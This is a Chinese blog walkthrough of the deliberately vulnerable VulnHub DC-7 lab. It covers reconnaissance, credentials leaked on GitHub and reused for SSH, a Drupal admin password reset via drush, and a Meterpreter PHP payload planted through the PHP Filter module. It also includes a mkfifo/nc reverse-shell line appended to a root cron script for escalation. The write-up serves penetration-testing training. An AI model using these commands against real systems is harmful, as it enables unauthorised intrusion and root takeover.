VulnHub通关日记-DC_7-Walkthrough

简介: DC-7是另一个专门构建的易受攻击的实验室,目的是在渗透测试领域积累经验。

VulnHub通关日记-DC_7-Walkthrough

靶机介绍

DC-7是另一个专门构建的易受攻击的实验室,目的是在渗透测试领域积累经验。

尽管这不是一个过于技术性的挑战,但这并不容易。

虽然这是从早期DC版本开始的逻辑发展(我不会告诉您哪个),但是其中涉及一些新概念,但是您需要自己弄清楚这些概念。:-)如果您需要求助于暴力破解或字典攻击,您可能不会成功。

您需要做的是在盒子外面思考。

Waaaaaay在盒子外面。:-)

下载地址:https://www.vulnhub.com/entry/dc-7,356/

运用的知识

Github泄露网站数据库配置信息导致泄露SSHDrupal重置网站管理员密码 Drupal8-Getshell 第三方软件提权backups.sh

信息搜集

拿到靶机先扫了扫端口开放服务:


nmap -A -T4 192.168.1.146


图片1 nmap扫描


靶机开放了 22(ssh)、80(http)服务,其中 NMAP 检测出 http 使用的网站是 Drupal 8,我们先打开看看把:


图片2 网页内容


打开网站页面之后看到了一段提示信息:




Welcome to DC-7
DC-7 introduces some "new" concepts, but I'll leave you to figure out what they are.  :-)
While this challenge isn't all that technical, if you need to resort to brute forcing or a dictionary attacks, you probably won't succeed.
What you will have to do, is to think "outside" the box.
Way "outside" the box.  :-)


图片3 robots.txt文件



图片4 CHANGELOG.txt内容


网站上只有这一个信息,那么我还是去找找有关于这个 CMS 的漏洞把:


图片5 whatweb获取器版本信息

whatweb 得到的信息它的版本是 Drupal 8,我搜索了有关于这个版本的漏洞发现有这些:


图片6 关于这个版本的漏洞


我挨个去利用了相关的 POC ,可惜都没有利用成功!这个时候回过头来再仔细读了一遍网站的提示我发现了一个版权信息:


图片7 版权信息


既然作者提示我们说这个靶机的重点不在盒子里,是在盒子外面,而版权信息显示的是:DC7USER,那么会不会跟这个有关呢?

紧接着我抱着好奇心去 Google 搜索了 DC7USER


图片8 Google搜索DC7USER


搜索第一个是它的 Github,我打开看了看发现有一个项目:


image.png图片9 Dc7User的Github


点开后我找到了有关线索:




This is some "code" (yes, it's not the greatest code, but that wasn't the point) for the DC-7 challenge.
This isn't a flag, btw, but if you have made it here, well done anyway. :-)


image.png图片10 一些线索


这似乎是网站的源代码?于是我注意力放到了 ·config.php· 这个文件,打开看发现是一个数据库配置信息:




<?php    $servername = "localhost";    $username = "dc7user";    $password = "MdR3xOgB7#dW";    $dbname = "Staff";    $conn = mysqli_connect($servername, $username, $password, $dbname);?>


图片11 config.php


登陆SSH

我用得到的账号和密码尝试登陆网站发现登陆失败:


图片12 尝试利用得到的账号密码登录网站后台但是失败


随后我尝试登陆 SSH ,登陆成功!


image.png图片13 登录SSH成功


挺有意思的啊,这个 CTF 靶机超出了我的想象,有点像真正的渗透测试了,有那个味道了有木有!

随后我发现了一个 mbox 的文件,里面貌似是一封邮件信息:






From root@dc-7 Thu Aug 29 17:00:22 2019Return-path: <root@dc-7>Envelope-to: root@dc-7Delivery-date: Thu, 29 Aug 2019 17:00:22 +1000Received: from root by dc-7 with local (Exim 4.89)        (envelope-from <root@dc-7>)        id 1i3EPu-0000CV-5C        for root@dc-7; Thu, 29 Aug 2019 17:00:22 +1000From: root@dc-7 (Cron Daemon)To: root@dc-7Subject: Cron <root@dc-7> /opt/scripts/backups.shMIME-Version: 1.0Content-Type: text/plain; charset=UTF-8Content-Transfer-Encoding: 8bitX-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>X-Cron-Env: <SHELL=/bin/sh>X-Cron-Env: <HOME=/root>X-Cron-Env: <LOGNAME=root>Message-Id: <E1i3EPu-0000CV-5C@dc-7>Date: Thu, 29 Aug 2019 17:00:22 +1000
Database dump saved to /home/dc7user/backups/website.sql               [success]gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File existsgpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists
From root@dc-7 Thu Aug 29 17:15:11 2019Return-path: <root@dc-7>Envelope-to: root@dc-7Delivery-date: Thu, 29 Aug 2019 17:15:11 +1000Received: from root by dc-7 with local (Exim 4.89)        (envelope-from <root@dc-7>)        id 1i3EeF-0000Dx-G1        for root@dc-7; Thu, 29 Aug 2019 17:15:11 +1000From: root@dc-7 (Cron Daemon)To: root@dc-7Subject: Cron <root@dc-7> /opt/scripts/backups.shMIME-Version: 1.0Content-Type: text/plain; charset=UTF-8Content-Transfer-Encoding: 8bitX-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>X-Cron-Env: <SHELL=/bin/sh>X-Cron-Env: <HOME=/root>X-Cron-Env: <LOGNAME=root>Message-Id: <E1i3EeF-0000Dx-G1@dc-7>Date: Thu, 29 Aug 2019 17:15:11 +1000
Database dump saved to /home/dc7user/backups/website.sql               [success]gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File existsgpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists
From root@dc-7 Thu Aug 29 17:30:11 2019Return-path: <root@dc-7>Envelope-to: root@dc-7Delivery-date: Thu, 29 Aug 2019 17:30:11 +1000Received: from root by dc-7 with local (Exim 4.89)        (envelope-from <root@dc-7>)        id 1i3Esl-0000Ec-JQ        for root@dc-7; Thu, 29 Aug 2019 17:30:11 +1000From: root@dc-7 (Cron Daemon)To: root@dc-7Subject: Cron <root@dc-7> /opt/scripts/backups.shMIME-Version: 1.0Content-Type: text/plain; charset=UTF-8Content-Transfer-Encoding: 8bitX-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>X-Cron-Env: <SHELL=/bin/sh>X-Cron-Env: <HOME=/root>X-Cron-Env: <LOGNAME=root>Message-Id: <E1i3Esl-0000Ec-JQ@dc-7>Date: Thu, 29 Aug 2019 17:30:11 +1000
Database dump saved to /home/dc7user/backups/website.sql               [success]gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File existsgpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists
From root@dc-7 Thu Aug 29 17:45:11 2019Return-path: <root@dc-7>Envelope-to: root@dc-7Delivery-date: Thu, 29 Aug 2019 17:45:11 +1000Received: from root by dc-7 with local (Exim 4.89)        (envelope-from <root@dc-7>)        id 1i3F7H-0000G3-Nb        for root@dc-7; Thu, 29 Aug 2019 17:45:11 +1000From: root@dc-7 (Cron Daemon)To: root@dc-7Subject: Cron <root@dc-7> /opt/scripts/backups.shMIME-Version: 1.0Content-Type: text/plain; charset=UTF-8Content-Transfer-Encoding: 8bitX-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>X-Cron-Env: <SHELL=/bin/sh>X-Cron-Env: <HOME=/root>X-Cron-Env: <LOGNAME=root>Message-Id: <E1i3F7H-0000G3-Nb@dc-7>Date: Thu, 29 Aug 2019 17:45:11 +1000
Database dump saved to /home/dc7user/backups/website.sql               [success]gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File existsgpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists
From root@dc-7 Thu Aug 29 20:45:21 2019Return-path: <root@dc-7>Envelope-to: root@dc-7Delivery-date: Thu, 29 Aug 2019 20:45:21 +1000Received: from root by dc-7 with local (Exim 4.89)        (envelope-from <root@dc-7>)        id 1i3Hvd-0000ED-CP        for root@dc-7; Thu, 29 Aug 2019 20:45:21 +1000From: root@dc-7 (Cron Daemon)To: root@dc-7Subject: Cron <root@dc-7> /opt/scripts/backups.shMIME-Version: 1.0Content-Type: text/plain; charset=UTF-8Content-Transfer-Encoding: 8bitX-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>X-Cron-Env: <SHELL=/bin/sh>X-Cron-Env: <HOME=/root>X-Cron-Env: <LOGNAME=root>Message-Id: <E1i3Hvd-0000ED-CP@dc-7>Date: Thu, 29 Aug 2019 20:45:21 +1000
Database dump saved to /home/dc7user/backups/website.sql               [success]gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File existsgpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists
From root@dc-7 Thu Aug 29 22:45:17 2019Return-path: <root@dc-7>Envelope-to: root@dc-7Delivery-date: Thu, 29 Aug 2019 22:45:17 +1000Received: from root by dc-7 with local (Exim 4.89)        (envelope-from <root@dc-7>)        id 1i3Jng-0000Iw-Rq        for root@dc-7; Thu, 29 Aug 2019 22:45:16 +1000From: root@dc-7 (Cron Daemon)To: root@dc-7Subject: Cron <root@dc-7> /opt/scripts/backups.shMIME-Version: 1.0Content-Type: text/plain; charset=UTF-8Content-Transfer-Encoding: 8bitX-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>X-Cron-Env: <SHELL=/bin/sh>X-Cron-Env: <HOME=/root>X-Cron-Env: <LOGNAME=root>Message-Id: <E1i3Jng-0000Iw-Rq@dc-7>Date: Thu, 29 Aug 2019 22:45:16 +1000
Database dump saved to /home/dc7user/backups/website.sql               [success]
From root@dc-7 Thu Aug 29 23:00:12 2019Return-path: <root@dc-7>Envelope-to: root@dc-7Delivery-date: Thu, 29 Aug 2019 23:00:12 +1000Received: from root by dc-7 with local (Exim 4.89)        (envelope-from <root@dc-7>)        id 1i3K28-0000Ll-11        for root@dc-7; Thu, 29 Aug 2019 23:00:12 +1000From: root@dc-7 (Cron Daemon)To: root@dc-7Subject: Cron <root@dc-7> /opt/scripts/backups.shMIME-Version: 1.0Content-Type: text/plain; charset=UTF-8Content-Transfer-Encoding: 8bitX-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>X-Cron-Env: <SHELL=/bin/sh>X-Cron-Env: <HOME=/root>X-Cron-Env: <LOGNAME=root>Message-Id: <E1i3K28-0000Ll-11@dc-7>Date: Thu, 29 Aug 2019 23:00:12 +1000
Database dump saved to /home/dc7user/backups/website.sql               [success]
From root@dc-7 Fri Aug 30 00:15:18 2019Return-path: <root@dc-7>Envelope-to: root@dc-7Delivery-date: Fri, 30 Aug 2019 00:15:18 +1000Received: from root by dc-7 with local (Exim 4.89)        (envelope-from <root@dc-7>)        id 1i3LCo-0000Eb-02        for root@dc-7; Fri, 30 Aug 2019 00:15:18 +1000From: root@dc-7 (Cron Daemon)To: root@dc-7Subject: Cron <root@dc-7> /opt/scripts/backups.shMIME-Version: 1.0Content-Type: text/plain; charset=UTF-8Content-Transfer-Encoding: 8bitX-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>X-Cron-Env: <SHELL=/bin/sh>X-Cron-Env: <HOME=/root>X-Cron-Env: <LOGNAME=root>Message-Id: <E1i3LCo-0000Eb-02@dc-7>Date: Fri, 30 Aug 2019 00:15:18 +1000
rm: cannot remove '/home/dc7user/backups/*': No such file or directoryDatabase dump saved to /home/dc7user/backups/website.sql               [success]
From root@dc-7 Fri Aug 30 03:15:17 2019Return-path: <root@dc-7>Envelope-to: root@dc-7Delivery-date: Fri, 30 Aug 2019 03:15:17 +1000Received: from root by dc-7 with local (Exim 4.89)        (envelope-from <root@dc-7>)        id 1i3O0y-0000Ed-To        for root@dc-7; Fri, 30 Aug 2019 03:15:17 +1000From: root@dc-7 (Cron Daemon)To: root@dc-7Subject: Cron <root@dc-7> /opt/scripts/backups.shMIME-Version: 1.0Content-Type: text/plain; charset=UTF-8Content-Transfer-Encoding: 8bitX-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>X-Cron-Env: <SHELL=/bin/sh>X-Cron-Env: <HOME=/root>X-Cron-Env: <LOGNAME=root>Message-Id: <E1i3O0y-0000Ed-To@dc-7>Date: Fri, 30 Aug 2019 03:15:17 +1000
rm: cannot remove '/home/dc7user/backups/*': No such file or directoryDatabase dump saved to /home/dc7user/backups/website.sql               [success]


image.png图片14 mbox里的内容


仔细看了一看发现它是一个定时脚本:/opt/script/backups.sh

ls 查看了一下,发现它只能 root 用户和 www-data 修改它,查看了脚本后好像删除了一些文件还有解压文件等等:




#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz


图片15 backup.sh内容


Drupal重置网站管理员密码

其中的 drush 我并不知道是什么命令,紧接着我去搜索了一波发现它是一个简化了创建和管理Drupal8网站的命令行工具。

相关文章:https://drupalchina.gitbooks.io/begining-drupal8-cn/content/chapters/chapter-15.html

看文档得知 sql-dump是使用mysqldump或等效的操作导出Drupal数据库为SQL的命令!


image.png图片16 SQL命令


由于这个脚本上到处数据库所在的目录是 /var/www/html,那么我们也切换到这个目录,随后我用 drush 的命令重置了网站后台的密码:


drush user-password admin --password="pass"


image.png图片17 重置admin账号密码


重置完后拿到账号 admin 密码 pass 登陆到了网站后台:


image.png图片18 利用重置完的账号去登陆网站后台


Drupal-Getshell

登陆到后台之后,我是 Google 上找到了getshell的方法,先是从 https://www.drupal.org/project/php 下载它的模块:


图片19 下载模块


下载完后来到 Extend - Install new module 上传到网站:


图片20 Extend-install new module



图片21 上传



image.png图片22 上传成功


然后启用 PHP Filter 模块:


image.png图片23 启动php filter模块


启用之后在Content 中添加我们的脚本木马,添加脚本木马前先用 MSF 生成一个 PHP 的木马:


msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=7777 -f raw


图片24 msf生成php木马


紧接着打开 MSF 设置参数开启监听:


图片25 msf开启监听


最后添加我们的脚本代码到页面中:


图片26 添加脚本到代码页面1



image.png图片27 添加脚本到代码页面2


(PS:如果失败了那么先设置为 PHP code,再把脚本代码放进去保存就可以了)

设置好之后成功反弹得到一枚 shell


image.png图片28 获得反弹的shell


得到shell之后用MSF自带的模块查看有没有可以提权的模块,但是发现没有可利用提权的地方:


image.png图片29 利用msf查找是否存在可以提权的地方


先让它切换到 shell 环境把:



shellpython -c 'import pty;pty.spawn("/bin/bash")'


图片30 切换到shell环境


利用backups.sh文件提权

随后我们来到了 /opt/scripts 目录下,因为之前我们知道了 backups.sh 它只能 root 用户和 www-data 用户权限去修改它:


图片31 修改Backup.sh权限


所以我们就可以利用这段代码来反弹一个 shellKALI,反弹回来的shell自然就是root权限!

先是我们在 KALI nc 监听 8888 ,然后输入这段代码:


echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.128 8888 >/tmp/f" >> backups.sh


图片32 反弹shell


这个时候就成功获取到 root 权限,拿到 FLAG


图片33 获取root权限,拿到flag


相关链接:

VulnHub通关日记-DC_1-Walkthrough

VulnHub通关日记-DC_2-Walkthrough

VulnHub通关日记-DC_3-Walkthrough

VulnHub通关日记-DC_4-Walkthrough

VulnHub通关日记-DC_5-Walkthrough

VulnHub通关日记-DC_6-Walkthrough

相关文章
|
安全 Shell 网络安全
基于Vulnhub靶场—DC4渗透测试过程
Vulhub是一个开源项目,专注于安全漏洞的复现和学习。包括Web应用、容器和操作系统漏洞。项目特点包括丰富的漏洞场景、详细的复现指南、便捷的环境部署和持续更新。通过Vulhub,安全从业者可以学习和研究漏洞利用技术。此外,文章还介绍了如何下载和搭建Vulhub靶机DC-4,并详细描述了利用Burp Suite进行密码爆破和命令执行,最终获取root权限的过程。
1055 0
|
21天前
|
SQL 安全 Shell
vulnhub靶机实战_DC-3
本文介绍DC-3靶机渗透测试全过程,涵盖环境搭建、信息扫描、SQL注入、权限提升等环节。通过Joomla漏洞获取管理员密码,上传木马并提权至root,最终获取flag,是一套完整的渗透实战流程。
181 1
|
21天前
|
SQL Shell 网络安全
vulnhub靶机实战_DC-8
本文介绍DC-8靶机渗透全过程,涵盖环境搭建、信息扫描、SQL注入、密码爆破、反向Shell获取及提权。利用sqlmap与john工具破解用户凭据,通过Web表单执行命令并获取root权限,最终读取flag完成渗透测试。
134 0
|
21天前
|
关系型数据库 MySQL 网络安全
vulnhub靶机实战_DC-7
本文介绍DC-7靶机渗透测试全过程,包括靶机下载、VMware导入、网络配置、Nmap扫描发现开放80和22端口,通过信息搜集获取数据库凭证,尝试登录SSH成功,获得系统访问权限。适合网络安全学习者实践渗透流程。
70 0
|
21天前
|
中间件 测试技术 应用服务中间件
vulnhub靶机实战_DC-5
本教程介绍如何下载并配置DC-5靶机进行安全测试。内容包括靶机下载链接、VMware导入步骤、网络设置及Nmap扫描分析,帮助快速搭建渗透测试环境。
134 0
|
21天前
|
存储 安全 Shell
vulnhub靶机实战_DC-4
本文介绍了DC-4靶机渗透测试的完整过程,包括靶机下载、环境搭建、信息扫描、漏洞利用、提权以及最终获取flag的详细步骤。通过使用工具如nmap、Hydra进行端口扫描与密码爆破,结合反向Shell与teehee命令实现权限提升,最终成功获取系统flag。内容详实,适合网络安全学习与实践。
227 0
vulnhub靶机实战_DC-4
|
21天前
|
安全 网络安全 开发工具
vulnhub靶机实战_DC-2
本文介绍了DC-2靶机的渗透测试实战过程,涵盖靶机下载、环境搭建、信息扫描、漏洞利用、权限提升及最终提权获取flag的完整流程。内容包括使用nmap扫描、WPScan和Hydra工具爆破登录信息,绕过rbash限制,利用git提权等关键技术步骤。
86 0
|
21天前
|
安全 网络安全 数据库
vulnhub靶机实战_DC-1
本实验通过启动靶机、扫描漏洞、攻击Drupal服务、获取数据库权限、提权至root,最终成功获取所有flag,完成渗透测试目标。
140 0
vulnhub靶机实战_DC-1
|
Shell Linux 网络安全
基于Vulnhub—DC8靶场渗透测试过程
这篇文章描述了一个渗透测试的过程。首先,作者下载了一个名为DC8的靶场环境并将其导入虚拟机软件,将网络设置为NAT或仅主机模式。然后进行了信息收集,通过ARP扫描发现靶机IP,并使用nmap扫描开放端口,发现80和22端口开放。进一步利用SQL注入漏洞,通过sqlmap工具获取了数据库中的用户名和密码
223 0
|
安全 Shell 网络安全
基于Vulnhub靶场之DC-3渗透测试过程
Vulhub靶场介绍: [Vulhub](https://vulhub.org/) 是一个专注于安全漏洞复现和学习的开源项目。它提供了各种常见漏洞的复现环境,帮助网络安全从业者学习和研究漏洞利用技术。这些环境涵盖了Web应用、容器和操作系统等多个领域。Vulhub 的特点包括: 1. **丰富的漏洞场景**:覆盖多种常见的漏洞,如SQL注入、XSS等。 2. **详细复现指南**:为每个漏洞场景提供详细的环境搭建和利用步骤,便于学习和实践。 3. **易于使用**:提供一键部署或Docker镜像,简化环境搭建过程 4. **持续更新与维护**:项目在GitHub上开源,不断接收社区的贡献和更新
532 0